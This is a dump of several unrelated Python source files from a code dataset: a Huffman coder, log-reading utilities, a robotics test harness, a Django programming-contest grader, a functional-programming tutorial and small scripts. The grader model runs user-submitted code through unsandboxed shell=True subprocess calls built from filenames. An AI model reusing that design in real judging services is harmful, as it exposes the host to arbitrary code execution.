display_data(df)\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n print(\"Thank you for taking time to explore the bike sharing dataset. Have a great day!\")\n break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":8214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"119094399","text":"from heapq import heappush, heappop, heapify\nfrom typing import Any\n\n\nclass HuffmanCoding:\n\n def build(self, text: str) -> Any:\n d = {}\n for c in text:\n if c in d:\n d[c] += 1\n else:\n d[c] = 1\n\n heap = [[value, [key, \"\"]] for key, value in d.items()]\n\n heapify(heap)\n while len(heap) > 1:\n low = heappop(heap)\n high = heappop(heap)\n for chp in low[1:]:\n chp[1] = '0' + chp[1]\n for chp in high[1:]:\n chp[1] = '1' + chp[1]\n heappush(heap, [low[0] + high[0]] + low[1:] + high[1:])\n\n sorted_dict = sorted(heappop(heap)[1:], key=lambda p: (len(p[-1]), p))\n\n for i in range(len(sorted_dict)):\n d[sorted_dict[i][0]] = sorted_dict[i][1]\n\n d = dict(sorted(d.items(), key=lambda item: item[1]))\n enc = self.encode(d, text)\n dec = self.decode(d, enc)\n return d\n\n def encode(self, Dic: Any, text: str) -> str:\n\n enc = \"\"\n for i in text:\n enc = enc + Dic[i]\n\n return (enc)\n\n def decode(self, Dic: Any, text: str) -> str:\n d = dict([(value, key) for key, value in Dic.items()])\n dec = \"\"\n t_dec = \"\"\n\n enc_chars = []\n\n for key, value in d.items():\n enc_chars.append(key)\n\n for i in text:\n t_dec += i\n if t_dec in enc_chars:\n dec += d[t_dec]\n t_dec = \"\"\n else:\n continue\n\n return (dec)\n","sub_path":"HuffmanCodingCDS.py","file_name":"HuffmanCodingCDS.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"463578352","text":"import datetime, os, sys\nfrom datetime import date, time\nfrom time import sleep\nimport ast\n\ndef actual_date():\n today_day = date.today()\n return today_day\n\ndef time_differ(begin_time, end_time):\n differ = end_time - begin_time\n return differ\n\ndef data_dictionary(data_file):\n sample_data = {}\n with open(data_file,'r') as data:\n for line in data:\n sample_data=(ast.literal_eval(line))\n return sample_data\n\ndef clear_screen():\n os.system('clear||cls')\n\ndef main():\n today = actual_date()\n begin_time = datetime.datetime.now()\n data = data_dictionary('sample_data.txt')\n condition = 5\n list_index = 1\n part_value = []\n partial_sum_list = [0]\n actual_sum_list = []\n stamp = []\n while condition <= len(data):\n clear_screen()\n print('Start at:',begin_time)\n end_time = datetime.datetime.now()\n diff = time_differ(begin_time, end_time)\n differ = diff.seconds\n if differ == condition:\n for k, v in data.items():\n if k >= (differ-5) and (k <= differ):\n part_value.append(v)\n partial_sum = sum(part_value)\n partial_sum_list.append(partial_sum)\n actual_sum_list.append(partial_sum_list[list_index] - partial_sum_list[list_index-1])\n stamp.append(condition)\n print('Time: ',stamp)\n print('Value:',actual_sum_list)\n condition += 5\n list_index += 1\n sleep(5)\n continue\n\nmain()\n\n","sub_path":"timer_for_pimp.py","file_name":"timer_for_pimp.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636529644","text":"__author__ = 'Xuechen'\nclass Solution(object):\n def findRepeatedDnaSequences(self, s):\n \"\"\"\n :type s: str\n :rtype: List[str]\n \"\"\"\n search = dict()\n for i in range(len(s)-9):\n if s[i:10+i] not in search:\n search[s[i:10+i]] = 1\n else:\n search[s[i:10+i]] += 1\n result = list()\n for key in search:\n if search[key] > 1:\n result.append(key)\n return result\n\ns = Solution()\nprint(s.findRepeatedDnaSequences(\"AAAAACCCCCAAAAACCCCCCAAAAAGGGTTT\"))\n","sub_path":"RepeatedDNASequence.py","file_name":"RepeatedDNASequence.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"429346441","text":"#! /usr/bin/env python\n\"\"\"Get stuff from last part of log file(s). \nStart of data collect is determined by timestamp or age. Timezone aware so \nworks when LOG and passed timestamp are from different timezones. \"\"\"\n\n# Standard python library\nimport sys\nimport argparse\nimport logging\nfrom collections import Counter\nimport datetime\nimport subprocess\nfrom pathlib import Path\nimport os.path\n# Open Source\nimport dateutil.parser\nfrom dateutil import tz\nfrom dateutil.tz import gettz\n# Ours\nfrom natica.utils import read_hiera_yaml\n\ntus_zone = tz.gettz('America/Phoenix')\ntzinfos = dict(PHX=tus_zone)\n\n\n\ndef nowstamp():\n return(datetime.datetime.now(tz.gettz('America/Phoenix')))\n\n# EXAMPLE:'\n# ts = rl.nowstamp()\n# for l in rl.recentlog('/var/log/mars/mars-detail.log', timestamp=ts):\n# print(l,end='')\ndef recentlog(logfile, timestamp=None, seconds_ago=60*10):\n \"\"\"Iterator over log records that are no earlier than timestamp (default to NOW - SECONDS_AGO).\"\"\"\n tzinfos = dict(PHX=tus_zone)\n if timestamp:\n earliest = timestamp\n else:\n earliest = (datetime.datetime.now(tus_zone)\n - datetime.timedelta(seconds=seconds_ago))\n\n found_start = False\n #!print('Earliest DATE to process: {}'.format(earliest))\n for line in open(logfile):\n if found_start:\n yield line\n else:\n flds = line.split()\n if len(flds) < 4:\n continue\n (dt, tm, loc, level, *msg) = flds\n try:\n rdate = dateutil.parser.parse(dt+' '+tm+' PHX', tzinfos=tzinfos)\n except:\n continue\n #!print('rdate={}'.format(rdate))\n if rdate < earliest:\n continue\n found_start = True\n\n\n\n\n# For Log formatted with\n# format: '%(asctime)s %(filename)17s:%(lineno)-4s %(levelname)-8s %(message)s'\n# E.G.\n# 2018-05-22 18:32:12,746 views.py:198 DEBUG ADDED: slot=...\n#\n# Example usage:\n# ts=nowstamp()\n# run_test()\n# counts = countlog('/var/log/mars/mars-detail.log', timestamp=ts)\ndef countlog(logfile, timestamp=None, seconds_ago=60*10):\n \"\"\"Count number of INFO, WARNING, ERROR log entries that are no earlier than timestamp (default to NOW - SECONDS_AGO).\"\"\"\n tus_zone = tz.gettz('America/Phoenix')\n utc_zone = tz.gettz('UTC')\n counts = Counter()\n counts['INFO'] = 0\n counts['WARNING'] = 0\n counts['ERROR'] = 0\n counts['CRITICAL'] = 0\n earliest = None\n if timestamp:\n #earliest = dateutil.parser.parse(timestamp, tzinfos=tzinfos)\n earliest = timestamp\n else:\n earliest = (datetime.datetime.now(tus_zone)\n - datetime.timedelta(seconds=seconds_ago))\n #!print('Earliest DATE to process: {}'.format(earliest))\n for line in open(logfile):\n flds = line.split()\n if len(flds) < 4:\n continue\n (dt, tm, loc, level, *msg) = flds\n try:\n rdate = dateutil.parser.parse(dt+' '+tm+' PHX', tzinfos=tzinfos)\n except:\n continue\n #!print('rdate={}'.format(rdate))\n if rdate < earliest:\n continue\n counts.update([level])\n del counts['DEBUG']\n return dict(counts)\n\n\n\n\n# For typical DEV setup using set of system hosts as vagrant VMs\ndef count_natica_logs(timestamp=None, minutes_ago=10):\n mtnhost = 'mtnnat.vagrant.noao.edu'\n mtnlog = '/home/vagrant/logs/mtn/pop-detail.log'\n valhost = 'valnat.vagrant.noao.edu'\n vallog = '/home/vagrant/logs/val/pop-detail.log'\n Path(mtnlog).parents[0].mkdir(parents=True,exist_ok=True)\n Path(vallog).parents[0].mkdir(parents=True,exist_ok=True)\n\n # To allow no password on rsync these for mtn + valley:\n ## sudo apt-get install openssh-client\n ## sudo apt-get install openssh-server\n ## ssh-keygen -t rsa -P \"\" -f ~/.ssh/id_dsa\n ## ssh-copy-id -i $HOME/.ssh/id_dsa.pub vagrant@mtnnat.vagrant.noao.edu\n ## cat $HOME/.ssh/id_dsa.pub >> $HOME/.ssh/authorized_keys\n\n cmd = '''\\\n rsync {mtnhost}:/var/log/tada/pop-detail.log {mtnlog}\n rsync {valhost}:/var/log/tada/pop-detail.log {vallog}\n '''.format(mtnhost=mtnhost, valhost=valhost, mtnlog=mtnlog, vallog=vallog)\n subprocess.run(cmd, shell=True, check=True)\n\n logcounts = dict(\n mars = countlog('/var/log/mars/mars-detail.log', timestamp=timestamp),\n mtn = countlog(mtnlog, timestamp=timestamp),\n val = countlog(vallog, timestamp=timestamp),\n )\n return(logcounts)\n\n# For typical DEV setup using set of system hosts as vagrant VMs\nclass NaticaLogs():\n \"Get recent info from (mtn,val,mars) logs\"\n # get: \n hiera = read_hiera_yaml() # test_mtn_host, test_val_host\n hosts = dict(mtn=dict(host=hiera['test_mtn_host'],\n #!log= os.path.expanduser('~/testing/logs/mtn/pop-detail.log'),\n log= os.path.expanduser('~/testing/logs/mtn/pop.log'),\n last=0),\n val=dict(host=hiera['test_val_host'],\n log= os.path.expanduser('~/testing/logs/val/pop.log'),\n last=0),\n mars=dict(host='localhost', # unused\n #!log='/var/log/mars/mars-detail.log',\n log='/var/log/mars/mars.log',\n last=0) )\n \n def __init__(self):\n Path(self.hosts['mtn']['log']).parents[0].mkdir(\n parents=True,exist_ok=True)\n #@@@ open().close() pointless?\n open(self.hosts['mtn']['log'],'a').close()\n Path(self.hosts['val']['log']).parents[0].mkdir(\n parents=True,exist_ok=True)\n open(self.hosts['val']['log'],'a').close()\n self.fetch()\n\n \n def fetch(self):\n hinfo = self.hosts\n hinfo['mtn']['last'] = len(open(hinfo['mtn']['log']).readlines())\n hinfo['val']['last'] = len(open(hinfo['val']['log']).readlines())\n hinfo['mars']['last'] = len(open(hinfo['mars']['log']).readlines())\n \n cmd = '''\\\n rsync {mtnhost}:/var/log/tada/pop-detail.log {mtnlog}\n rsync {valhost}:/var/log/tada/pop-detail.log {vallog}\n '''.format(mtnhost=hinfo['mtn']['host'],\n mtnlog=hinfo['mtn']['log'],\n valhost=hinfo['val']['host'],\n vallog=hinfo['val']['log'])\n subprocess.run(cmd, shell=True, check=True)\n\n def count_after_last(self,host):\n logfile = self.hosts[host]['log']\n prevlast = self.hosts[host]['last']\n #print('Host={}, prevlast={}, logfile={}'.format(host,prevlast,logfile))\n\n counts = Counter()\n counts['INFO'] = 0\n counts['WARNING'] = 0\n counts['ERROR'] = 0\n counts['CRITICAL'] = 0\n\n idx=0\n for line in open(logfile):\n #!if host == 'mars':\n #! print('DBG line({})={}'.format(idx,line), end='')\n\n idx += 1\n if idx <= prevlast:\n continue\n flds = line.split()\n if len(flds) < 4:\n #!print('DBG short line {}; continue'.format(idx))\n continue\n (dt, tm, loc, level, *msg) = flds\n try:\n rdate = dateutil.parser.parse(dt+' '+tm+' PHX', tzinfos=tzinfos)\n except Exception as err:\n #!print('DBG bad date in line {}; continue;{}'.format(idx, err))\n continue\n counts.update([level])\n #!print('DBG updated count({}); line {}'.format(level,idx))\n del counts['DEBUG']\n #!counts['prevlast'] = prevlast\n #!print('count_after_last: counts={}'.format(counts))\n return dict(counts)\n \n \n def count_latest(self):\n \"Count number of INFO, WARNING, ERROR log entries since previous FETCH\"\n logcounts = dict(\n mtn = self.count_after_last('mtn'),\n val = self.count_after_last('val'),\n mars = self.count_after_last('mars'),\n )\n return(logcounts)\n\n##############################################################################\n\ndef main():\n \"Parse command line arguments and do the work.\"\n print('EXECUTING: %s\\n\\n' % (' '.join(sys.argv)))\n parser = argparse.ArgumentParser(\n description='My shiny new python program',\n epilog='EXAMPLE: %(prog)s a b\"'\n )\n parser.add_argument('--version', action='version', version='1.0.1')\n parser.add_argument('logfile', type=argparse.FileType('r'),\n help='Log file to read')\n\n parser.add_argument('--loglevel',\n help='Kind of diagnostic output',\n choices=['CRTICAL', 'ERROR', 'WARNING',\n 'INFO', 'DEBUG'],\n default='WARNING')\n args = parser.parse_args()\n\n #!print 'My args=',args\n #!print 'infile=',args.infile\n\n log_level = getattr(logging, args.loglevel.upper(), None)\n if not isinstance(log_level, int):\n parser.error('Invalid log level: %s' % args.loglevel)\n logging.basicConfig(level=log_level,\n format='%(levelname)s %(message)s',\n datefmt='%m-%d %H:%M')\n logging.debug('Debug output is enabled in %s !!!', sys.argv[0])\n\n # bash:\n # ts=`date --utc +\"%F %T %Z\"`\n\n #recentlog(logfile, timestamp=None, seconds_ago=60*10):\n recentlog(args.logfile, timestamp=None, seconds_ago=60*10)\n\nif __name__ == '__main__':\n main()\n","sub_path":"marssite/natica/testaux/readlog.py","file_name":"readlog.py","file_ext":"py","file_size_in_byte":9509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"398128571","text":"import spec.conf\nfrom sympy import *\nfrom sympy.vector import CoordSys3D\nfrom spec.component import *\nfrom spec.motion import *\nfrom spec.time import *\nfrom spec.env import Env\nfrom utils.geometry import *\nfrom cart import *\nfrom arm import *\nfrom mpmath import mp\nfrom compatibility import *\nfrom refinement import *\nfrom vectorize import *\nfrom copy import deepcopy\nfrom choreography.projection import Projection\nimport interpreter.parser as parser\nimport time\n\nimport unittest\nimport logging\n\nlog = logging.getLogger(\"XP\")\n\n# world: a trivial componenent (with optional mounting points as args)\nclass World(Component):\n\n def __init__(self, *mnts):\n super().__init__('World', None)\n f = spec.conf.worldFrame\n self._frame = f\n self._mountingPoints = [f.orient_new_axis('world_mount_' + str(i), t, f.k, location= x * f.i + y * f.j + z * f.k) for i, (x,y,z,t) in enumerate(mnts)]\n self._mount = f\n\n def frame(self):\n return self._frame\n\n def mountingPoint(self, index):\n if index < len(self._mountingPoints) :\n return self._mountingPoints[index]\n else:\n return self._frame\n\nclass DummyProcess(Process):\n\n def __init__(self, name, parent, index):\n super().__init__(name, parent, index)\n Idle(self)\n\n def frame(self):\n return self._parent.frame()\n\n def outputVariables(self):\n return [Symbol(self.name() + \"_x\"), Symbol(self.name() + \"_y\"), Symbol(self.name() + \"_z\")]\n\n def abstractResources(self, *arg):\n return S.false\n\n def mountingPoint(self, index):\n return self.frame()\n\n\ndef cartAndArmWorld():\n w = World()\n c = Cart(\"C\", w)\n a = Arm(\"A\", c)\n return w\n\ndef armsHandoverWorld():\n w = World( (-0.28,0,0,0), (0.28,0,0,mp.pi) )\n a1 = Arm(\"A1\", w, 0)\n a2 = Arm(\"A2\", w, 1)\n return w\n\ndef binSortingWorld():\n w = World( (0,0,0,mp.pi/2), (0.3,0,0,-mp.pi/2) )\n a1 = Arm(\"A\", w, 0)\n a2 = Arm(\"B\", w, 1)\n return w\n\ndef ferryWorld():\n w = World( (-1,-0.5,0,mp.pi/2), (1,-0.5,0,mp.pi/2) )\n a1 = Arm(\"A1\", w, 0)\n a2 = Arm(\"A2\", w, 1)\n c = Cart(\"C\", w, 2)\n return w\n\n\ndef mkDummyWorld(*cmpNames):\n w = World()\n for i, name in enumerate(cmpNames):\n c = DummyProcess(name, world, i)\n return w\n\n\n\nclass XpTestHarness(unittest.TestCase):\n\n def setUp(self):\n self.defaultConf = spec.conf.enableMPincludeFPCheck\n spec.conf.enableMPincludeFPCheck = False\n self.defaultPrecision = spec.conf.dRealPrecision\n spec.conf.dRealPrecision = 0.01\n\n def tearDown(self):\n spec.conf.enableMPincludeFPCheck = self.defaultConf\n spec.conf.dRealPrecision = self.defaultPrecision\n\n\n def check(self, ch, w, contracts, progs):\n start = time.time()\n start0 = start\n env = Env(w, contracts)\n visitor = Projection()\n visitor.execute(ch, env)\n chor = visitor.choreography\n log.debug(\"parsed\\n%s\", chor)\n vectorize(chor, w)\n end = time.time()\n log.info(\"Syntactic checks: %s\", end - start)\n start = end\n checker = CompatibilityCheck(chor, w)\n checker.localChoiceChecks()\n checker.generateTotalGuardsChecks()\n checker.computePreds()\n checker.generateCompatibilityChecks()\n end = time.time()\n log.info(\"VC generation: %s\", end - start)\n start = end\n log.info(\"#VC: %s\", len(checker.vcs))\n failed = []\n for i in range(0, len(checker.vcs)):\n vc = checker.vcs[i]\n log.info(\"Checking VC %s %s\", i, vc.title)\n if not vc.discharge():\n log.warning(\"Failed VC %s\", i)\n failed.append((i,vc))\n log.debug(\"%s\", vc)\n if vc.hasModel():\n log.debug(\"%s\", vc.modelStr())\n else:\n log.debug(\"Timeout\")\n for (i,vc) in failed:\n log.info(\"Failed: %s %s\", i, vc.title)\n end = time.time()\n log.info(\"VC solving: %s\", end - start)\n start = end\n processes = w.allProcesses()\n for p in processes:\n visitor.choreography = deepcopy(chor)\n proj = visitor.project(p.name(), p)\n prser = parser.Parser()\n prog = prser.parse(progs[p.name()])\n ref = Refinement(prog, proj)\n if not ref.check():\n raise Exception(\"Refinement: \" + p.name())\n end = time.time()\n log.info(\"refinement: %s\", end - start)\n log.info(\"total time: %s\", end - start0)\n self.assertTrue(failed == [])\n","sub_path":"pgcd/nodes/verification/test/experiments_setups.py","file_name":"experiments_setups.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"131418081","text":"import os\nimport subprocess\n\nfrom django.conf import settings\nfrom django.db import models\nfrom django.db.models.signals import pre_save\nfrom django.contrib.auth import get_user_model\nfrom django.utils import timezone\n\nfrom questions.models import Question, TestCase, ExpectedOutput\n\n\nUser = get_user_model()\n\nRESULT_TYPES = (\n ('ac', 'AC'), # Correct Answer\n ('wa', 'WA'), # Wrong Answer\n ('tle', 'TLE'), # Time Limit Exceeded\n ('cte', 'CTE'), # Compile Time Error\n ('sigabrt', 'SIGABRT'), # Runtime Error\n ('pc', 'Partially Correct') # Partially Correct\n)\n\nSUBMISSION_EVALUATION_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'submission_evaluation')\n\n\ndef upload_solution_file_location(instance, filename):\n location = 'submissions/{username}/'.format(username=instance.user.username)\n file, ext = os.path.splitext(filename)\n return location + instance.question.code + ext\n\n\nclass SolutionQuerySet(models.query.QuerySet):\n\n def get_by_question(self, question_code):\n return self.filter(question__code=question_code)\n\n def get_by_user(self, username):\n return self.filter(user__username=username)\n\n def get_by_user_question(self, username, question_code):\n return self.get_by_user(username).get_by_question(question_code)\n\n\nclass SolutionManager(models.Manager):\n\n def get_queryset(self):\n return SolutionQuerySet(self.model, using=self._db)\n\n def get_by_user(self, username):\n return self.get_queryset().get_by_user(username=username)\n\n def get_by_question(self, question_code):\n return self.get_queryset().get_by_question(question_code)\n\n def get_by_user_question(self, username, question_code):\n return self.get_queryset().get_by_user_question(username, question_code)\n\n\nclass Solution(models.Model):\n question = models.ForeignKey(Question)\n user = models.ForeignKey(User)\n file = models.FileField(upload_to=upload_solution_file_location)\n language = models.CharField(max_length=10)\n result = models.CharField(max_length=10, choices=RESULT_TYPES, null=True, blank=True)\n score = models.IntegerField(default=0)\n timestamp = models.DateTimeField(auto_now_add=True)\n\n objects = SolutionManager()\n\n class Meta:\n ordering = ['-score', 'timestamp']\n\n def __str__(self):\n return self.user.username + ' - ' + self.question.code\n\n @property\n def filename(self):\n \"\"\" Returns the name of the uploaded file without the extension \"\"\"\n filename, ext = os.path.splitext(self.file.name)\n return filename.split('/')[-1]\n\n def get_absolute_url(self):\n return self.file.url\n\n def clear_evaluation_path_contents(self):\n # When files are stored in local server\n #\n # name = self.filename\n # if self.language == 'java':\n # name += '.class'\n # if os.path.exists(name):\n # os.remove(name)\n\n # When files are stored in non-local server\n os.chdir(SUBMISSION_EVALUATION_PATH)\n for file in os.listdir(os.getcwd()):\n if file != 'version_control.txt':\n os.remove(file)\n\n def compile(self):\n name = self.filename\n if self.language == 'c':\n cmd = 'gcc -o {name} {name}.c'.format(name=name)\n elif self.language == 'cpp':\n cmd = 'g++ -o {name} {name}.cpp'.format(name=name)\n # elif self.language == 'java':\n # cmd = 'javac {name}.java'.format(name=name)\n elif 'py' in self.language:\n return 'success'\n else:\n return 'cte' # Compile Time Error\n\n try:\n process = subprocess.check_output(cmd, shell=True)\n except subprocess.CalledProcessError:\n return 'cte' # Compile Time Error\n return 'success'\n\n def execute(self, input_test_case):\n name = self.filename\n if self.language in ['c', 'cpp']:\n cmd = './{name} < {input_file} > {name}.txt'.format(name=name, input_file=input_test_case)\n # elif self.language == 'java':\n # cmd = 'java {name} < {input_file} > {name}.txt'.format(name=name, input_file=input_test_case)\n elif self.language == 'py2':\n cmd = 'python2 {name}.py < {input_file} > {name}.txt'.format(name=name, input_file=input_test_case)\n elif self.language == 'py3':\n cmd = 'python3 {name}.py < {input_file} > {name}.txt'.format(name=name, input_file=input_test_case)\n else:\n return None\n\n try:\n process = subprocess.check_output(cmd, shell=True, timeout=self.question.time_limit)\n except subprocess.CalledProcessError:\n return 'sigabrt' # Runtime Error\n except subprocess.TimeoutExpired:\n return 'tle' # Time Limit Exceeded\n except Exception as e:\n print(\"\\nabcdhfvbusrb\")\n print(e)\n return 'success'\n\n def verify(self, expected_output):\n output = self.filename + '.txt'\n with open(output) as answer, open(expected_output) as solution:\n answer_lines = answer.readlines()\n solution_lines = solution.readlines()\n for i, j in zip(answer_lines, solution_lines):\n if i.strip() != j.strip():\n return False\n return True\n\n def evaluate(self):\n # fetch_file_cmd = os.chdir(os.path.join(settings.MEDIA_ROOT, os.path.dirname(self.file.name)))\n # os.chdir(os.path.join(settings.MEDIA_ROOT, os.path.dirname(self.file.name)))\n # print(self.file.name)\n # print(os.getcwd())\n # download the file from AWS\n os.chdir(SUBMISSION_EVALUATION_PATH)\n get_submission = 'cp {root}/{filename} .'.format(\n root=settings.MEDIA_ROOT,\n filename=self.file.name\n )\n process = subprocess.check_output(get_submission, shell=True)\n\n # compile submission\n if self.compile() != 'success':\n return 'cte'\n \n # Fetch test case model\n tc_input_dir_contents = TestCase.objects.get_by_question(self.question.code)\n name = self.filename\n\n # Execute submissions against input test cases\n ac_count = 0\n tle_count = 0\n sigabrt_count = 0\n wa_count = 0\n for t_in in tc_input_dir_contents:\n get_test_case = 'cp {root}/{filename} .'.format(\n root=settings.MEDIA_ROOT,\n filename=t_in.file.name\n )\n process = subprocess.check_output(get_test_case, shell=True)\n\n # run submission against the input test case\n print(t_in.filename)\n msg = self.execute(t_in.filename)\n \n if msg != 'success':\n if msg == 'tle':\n tle_count += 1\n elif msg == 'sigabrt':\n sigabrt_count += 1\n continue\n # self.clear_evaluation_path_contents()\n # self.save()\n # return msg\n\n t_out = ExpectedOutput.objects.get_by_question_test_case(self.question.code, t_in).first()\n\n # download the expected output from AWS\n get_test_case = 'cp {root}/{filename} .'.format(\n root=settings.MEDIA_ROOT,\n filename=t_out.file.name\n )\n process = subprocess.check_output(get_test_case, shell=True)\n\n # verify the output with the expected output\n if not self.verify(t_out.filename):\n # self.clear_evaluation_path_contents()\n self.save()\n wa_count += 1\n continue\n ac_count += 1\n \n # Set overall result status\n self.score = ac_count * 10\n self.timestamp = timezone.now()\n if ac_count == 10:\n self.result = 'ac'\n elif tle_count == 10:\n self.result = 'tle'\n elif sigabrt_count == 10:\n self.result = 'sigabrt'\n elif wa_count == 10 or ac_count == 0:\n self.result = 'wa'\n else:\n self.result = 'pc'\n\n # self.clear_evaluation_path_contents()\n self.save()\n\n\ndef solution_pre_save_receiver(sender, instance, *args, **kwargs):\n if instance.language is None:\n name, ext = os.path.splitext(instance.file.name)\n lang = ext[1:]\n if lang == 'py':\n lang = 'py3'\n elif lang == 'c':\n lang = 'c'\n elif lang == 'cpp':\n lang = 'cpp'\n instance.language = lang\n\npre_save.connect(solution_pre_save_receiver, sender=Solution)\n","sub_path":"grader/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"94207186","text":"# -*- coding: utf-8 -*-\n\n# 高阶函数\n\n# map: 接受两个参数,第一个参数为一个函数,第二个参数为一个Iterable,将函数作用于 Iterable 的第一个元素\n# reduce reduce 把一个函数作用在一个序列[x1, x2, x3, ...]上,这个函数必须接收两个参数,reduce把结果继续和序列的下一个元素做累积计算\n\n\n# 利用map()函数,把用户输入的不规范的英文名字,变为首字母大写,其他小写的规范名字。\n# 输入:['adam', 'LISA', 'barT'],输出:['Adam', 'Lisa', 'Bart']:\n\ndef normalize(name):\n\treturn name[:1].upper() + name[1:].lower()\n\nL1 = ['adam', 'LISA', 'barT', 'b']\nprint(list(map(normalize,L1)))\n\nprint(\"-----------------------------------------------\")\n\n\n# Python提供的sum()函数可以接受一个list并求和,请编写一个prod()函数,可以接受一个list并利用reduce()求积:\nfrom functools import reduce\n\ndef prod(x , y):\n\treturn x * y\n\nprint('3 * 5 * 7 * 9 =', reduce(prod, [3, 5, 7, 9]))\n\nprint(\"-----------------------------------------------\")\n\n# 利用map和reduce编写一个str2float函数,把字符串'123.456'转换成浮点数123.456:\n\nDIGITS = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}\n\ndef str2float(s):\n\tdef str2int(x):\n\t\treturn DIGITS[x]\n\tdef ini2int(x, y):\n\t\treturn x * 10 + y\n\tindex = s.index(\".\")\n\tfloatLen = len(s[index + 1:])\n\tresult = reduce(ini2int, map(str2int,s[:index]+s[index + 1:])) \n\tresult = result * pow(0.1, floatLen)\n\treturn result\n\ntestStr = \"123.45236\"\ntestInt = 123.45236\nprint(str2float(testStr))\nif abs(str2float(testStr) - testInt) < 0.00001:\n print('测试成功!')\nelse:\n print('测试失败!')\n\n\nprint(\"-----------------------------------------------\")\n\n\ndef is_palindrome(n):\n\tn = str(n)\n\treturn n == n[::-1]\n\nl = list(filter(is_palindrome, range(1, 200)))\n\nprint(l)\n\nif l == [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 22, 33, 44, 55, 66, 77, 88, 99, 101, 111, 121, 131, 141, 151, 161, 171, 181, 191]:\n print('测试成功!')\nelse:\n\tprint('测试失败!')\n\n\nprint(\"-----------------------------------------------\")\n\nL = [('Bob', 75), ('Adam', 92), ('Bart', 66), ('Lisa', 88)]\n\ndef by_name(t):\n\treturn t[0]\n\ndef by_score(t):\n\treturn t[1]\n\nL2 = sorted(L, key=by_name)\nprint(L2)\n\n\nL2 = sorted(L, key=by_score , reverse=True)\nprint(L2)\n\n\nprint(\"createCounter -----------------------------------------------\")\ndef createCounter():\n\tcount = 0 \n\tdef counter():\n\t\tnonlocal count\n\t\tcount = count + 1\n\t\treturn count\n\treturn counter\n\n# 测试:\ncounterA = createCounter()\nprint(counterA(), counterA(), counterA(), counterA(), counterA()) # 1 2 3 4 5\ncounterB = createCounter()\nif [counterB(), counterB(), counterB(), counterB()] == [1, 2, 3, 4]:\n print('测试通过!')\nelse:\n print('测试失败!')\n\n\n\nprint(\"-----------------------------------------------\")\nimport time, functools\ndef metric(fun):\n\t@functools.wraps(fun)\n\tdef wrapper(*args, **kw):\n\t\tstart = time.time()\n\t\tresult = fun(*args, **kw)\n\t\tend = time.time()\n\t\texecutedTime = end - start\n\t\tprint('%s executed in %s ms' % (fun.__name__, executedTime))\n\t\treturn result\n\treturn wrapper\n\n# 测试\n@metric\ndef fast(x, y):\n time.sleep(0.0012)\n return x + y;\n\n@metric\ndef slow(x, y, z):\n time.sleep(0.1234)\n return x * y * z;\n\nprint(\"-----------------------------------------------\")\n\n# 偏函数\n# import functools\n# functools.partial\n\n\n","sub_path":"python/code/_05_functional.py","file_name":"_05_functional.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"222792013","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport math\nimport numpy as np\n\n# 超参数\nCLOSED_POS = 0.0 # The position for a fully-closed gripper (meters).\nOPENED_POS = 0.10 # The position for a fully-open gripper (meters).\nACTION_SERVER = 'gripper_controller/gripper_action'\n# device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass Robot(object):\n MIN_EFFORT = 35 # Min grasp force, in Newtons\n MAX_EFFORT = 100 # Max grasp force, in Newtons\n dt = 0.005 # 转动的速度和 dt 有关\n action_bound = [-1, 1] # 转动的角度范围\n state_dim = 3 # 7个观测值\n action_dim = 3 # 7个动作\n Robot = {'fetch': {'init': [0, 0, 0]}}\n\n def __init__(self):\n self.cont = 0\n self.dis = 100\n self.Box_position = [0.6, 0.1, 0.65]\n self.arm_goal = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n self.end_goal = [0.0, 0.0, 0.0]\n # 初始化reward\n self.dis = 10\n self.reward = math.exp(-self.dis)\n self.RGBDimg = np.random.randn(224, 224, 4)\n # 更新场景到rviz中\n\n def get_state(self):\n return self.end_goal, self.RGBDimg\n\n def test_step(self, action, var):\n # self.cont+=1\n done = False\n self.end_goal += action[0]\n # print \"---frist---\"\n self.end_goal[0] = np.random.normal(self.end_goal[0], var)%0.4 + 0.52\n self.end_goal[1] = np.random.normal(self.end_goal[0], var)%0.7 - 0.35\n # x = self.end_goal[0]\n # y = self.end_goal[1]\n x = self.end_goal[0]\n y = self.end_goal[1]\n # print(x, y)\n dis = math.sqrt(math.pow(x - self.Box_position[0], 2)\n + math.pow(y - self.Box_position[1], 2))\n if dis < 0.02: # 阈值,可调\n done = True\n reward = 100\n else:\n reward = -dis\n # reward *= 10\n self.dis = dis\n # if(self.cont>5000):\n # print(x,y, self.Box_position, dis, reward)\n new_position = [x, y, 1.0]\n return new_position, reward, done\n","sub_path":"DDPG_SERVER/Env_demo.py","file_name":"Env_demo.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"297752471","text":"from serial import Serial\nimport sys\nimport time\n\n\nclass Servo(object):\n ''' Python class to interface with Pololu servo controller.'''\n\n def __init__(self, serial_port='/dev/ttyAMA0', baud_rate=9600):\n self.serial_port = serial_port\n self.baud_rate = baud_rate\n self.modem 